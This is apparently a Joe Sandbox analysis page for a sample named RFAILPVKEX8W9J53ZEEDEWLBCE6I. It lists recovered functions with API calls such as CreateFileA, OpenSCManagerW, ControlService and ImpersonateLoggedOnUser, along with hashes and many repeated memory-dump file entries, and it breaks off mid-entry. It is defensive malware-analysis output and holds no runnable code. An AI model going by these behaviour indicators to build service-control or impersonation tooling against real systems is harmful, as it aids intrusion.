Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: CreateFile
String ID: a`QY
API String ID: 823142352-1528693023
Opcode ID: 7750a51a2396f829518979ae6761dc83a2f3c8118c599e008b79a66da9871552
Instruction ID: 487b82f519cd76f1c1c80db3c87f8913996d99ac1e402a470127e4f1cb8181d4
Opcode Fuzzy Hash: 7750a51a2396f829518979ae6761dc83a2f3c8118c599e008b79a66da9871552
Instruction Fuzzy Hash: A901F23500C2874FCB028F6289A29AABB74EF12331B74409BD84192413C358189EDB6A

Function 004E7A8F Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 004E7A8F

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e769c74854704f4b944549f0c3a09b22bfb19a4345123ba13bb49684a51278ed
Instruction ID: 263b409631486854044ca3695094e4aa43c5c496e2bf1c3581a6d3b6a024d3fe
Opcode Fuzzy Hash: e769c74854704f4b944549f0c3a09b22bfb19a4345123ba13bb49684a51278ed
Instruction Fuzzy Hash: 11313DB250C210EFE7056F59E840ABEFBE9FF94761F16482EEAD482610D3354890DB97

Function 004EB28A Relevance: 1.6, APIs: 1, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(0000B587,00000000), ref: 004EB34B

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 864d1a8641aff28cbd2c3d897b885522f4bb4e4ae72d5753a8ec90a1d1b722c2
Instruction ID: 5f7cff6233609980527bae7bb033f28c42d57c52e3b69781d7c3049a87fc48c8
Opcode Fuzzy Hash: 864d1a8641aff28cbd2c3d897b885522f4bb4e4ae72d5753a8ec90a1d1b722c2
Instruction Fuzzy Hash: DD21EBB604C2856EE302CA969A959FBBB7CEF42331730445BF841C2802D3941C499675

Function 004EB285 Relevance: 1.6, APIs: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(0000B587,00000000), ref: 004EB34B

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ff4ad1f1ece809d166d7a6f46a4d29b0c11dc5ceff8216e9e64dfa12cd534a31
Instruction ID: b6b2ae9c28e3fca108cc20773babceabd321f63ef658a227d7776d86c5138f35
Opcode Fuzzy Hash: ff4ad1f1ece809d166d7a6f46a4d29b0c11dc5ceff8216e9e64dfa12cd534a31
Instruction Fuzzy Hash: 2E21EBB704C2866EE302CA969A959FBBB7CEF43331730445BF841C2403D394194D9676

Function 04BB0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BB0DCD

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 797ef832d2017ac4eb22b83a1b7c260649445d4f8b5ed193d32aa25554be20cd
Instruction ID: b9d85c2db1ce288c02ba879b6e4eef61737192e2370299c91f968a4bc94483d1
Opcode Fuzzy Hash: 797ef832d2017ac4eb22b83a1b7c260649445d4f8b5ed193d32aa25554be20cd
Instruction Fuzzy Hash: 822144B6C012189FCB50DF99D884AEEFBF0FF88310F14825AD908AB244D774A940CFA4

Function 04BB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BB0DCD

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: fa7fb1fc47ab89d4a6a678f9b5092f4ab2616476be168000e84f7482bccd9d15
Instruction ID: 3df2046292756a991dbc728b25306e7827f7cb3f75821d6d390c9f9b21ef2e4c
Opcode Fuzzy Hash: fa7fb1fc47ab89d4a6a678f9b5092f4ab2616476be168000e84f7482bccd9d15
Instruction Fuzzy Hash: BE2124B6C012189FCB50DF99D884AEEFBF4FF88310F14865AD908AB244D774A540CBA4

Function 04BB1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BB1580

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 6b853530296438cc388f2f6e45b9e747ba70662ed3a2327c35b9715de66e33d0
Instruction ID: 9ee4c17d14c4bc1e586cec266cc11d666a33a1f32d0f8a0fcdce646042d3882b
Opcode Fuzzy Hash: 6b853530296438cc388f2f6e45b9e747ba70662ed3a2327c35b9715de66e33d0
Instruction Fuzzy Hash: 9C2103B1D002499FDB10CF9AC484BEEFBF4EB48320F108529E959A7240D778A644CFA5

Function 04BB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BB1580

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 94a396040064f6af573987b970fca8c4b85f7c52d127a8baf869170de960fd5d
Instruction ID: 1aec90dae6fa7da38f16f4599b842a299439fcfb086c778d86cf4348fdf83502
Opcode Fuzzy Hash: 94a396040064f6af573987b970fca8c4b85f7c52d127a8baf869170de960fd5d
Instruction Fuzzy Hash: 2811D3B5D002499FDB10CF9AC584AEEFBF4EB48320F108429E559A3250D778A644CFA5

Function 04BB1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BB1367

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 327d7dd071f3058752d9307bade4993be9965be890fd4ebd1213cb8688d19abf
Instruction ID: 5cd8d802c073cf637fbee24fc26373d6369bde54990365bb1190d6a9a579da0b
Opcode Fuzzy Hash: 327d7dd071f3058752d9307bade4993be9965be890fd4ebd1213cb8688d19abf
Instruction Fuzzy Hash: E61110B18002498FDB10DF9AC484BEEBBF4EF48320F20846AD558A3240D778A984CBA5

Function 004EB2FA Relevance: 1.5, APIs: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(0000B587,00000000), ref: 004EB34B

Memory Dump Source

Source File: 00000003.00000002.2430243955.00000000004E4000.00000040.00000001.01000000.00000006.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2429965852.0000000000360000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2429987594.0000000000362000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430003965.0000000000366000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430020233.000000000036A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430036936.0000000000376000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430177163.00000000004CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430196201.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430243955.00000000004EF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430318962.00000000004FA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430336985.00000000004FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430357064.0000000000502000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430410186.0000000000503000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430436351.0000000000504000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430488858.0000000000507000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430512791.0000000000508000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430529011.000000000050B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430587008.0000000000521000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430639084.000000000052D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430710317.000000000052E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430745938.0000000000536000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430767539.0000000000542000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430815681.0000000000547000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430838336.0000000000562000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430886770.0000000000564000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2430910808.0000000000565000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431133680.000000000056F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431151321.0000000000570000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431290219.0000000000573000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431308061.000000000057F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431354178.0000000000581000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431370209.0000000000588000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431387224.0000000000589000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431431663.000000000058A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431452188.000000000058B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431489728.000000000058C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431625634.0000000000592000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2431668298.000000000059B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433008791.000000000059D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2433330412.00000000005AC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434382405.00000000005AD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434899100.00000000005B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434921130.00000000005BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434953166.00000000005FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2434986324.000000000060A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2435002224.000000000060C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1d2dc7698f6d1a41ec3b6ad1cd94bab22fd03040a06dc5bcc1e747c25c077081
Instruction ID: 05cb0818a48f15e0b05c82582766684d26ab36159b23f8fec931d79f297514bf
Opcode Fuzzy Hash: 1d2dc7698f6d1a41ec3b6ad1cd94bab22fd03040a06dc5bcc1e747c25c077081
Instruction Fuzzy Hash: 5F01413540D2D29FCB128F7A88B25EEBF70FF52311B19019FC8819B493C728009ACB96

Function 04BB1308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BB1367

Memory Dump Source

Source File: 00000003.00000002.2436781759.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4bb0000_RFAILPVKEX8W9J53ZEEDEWLBCE6I.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
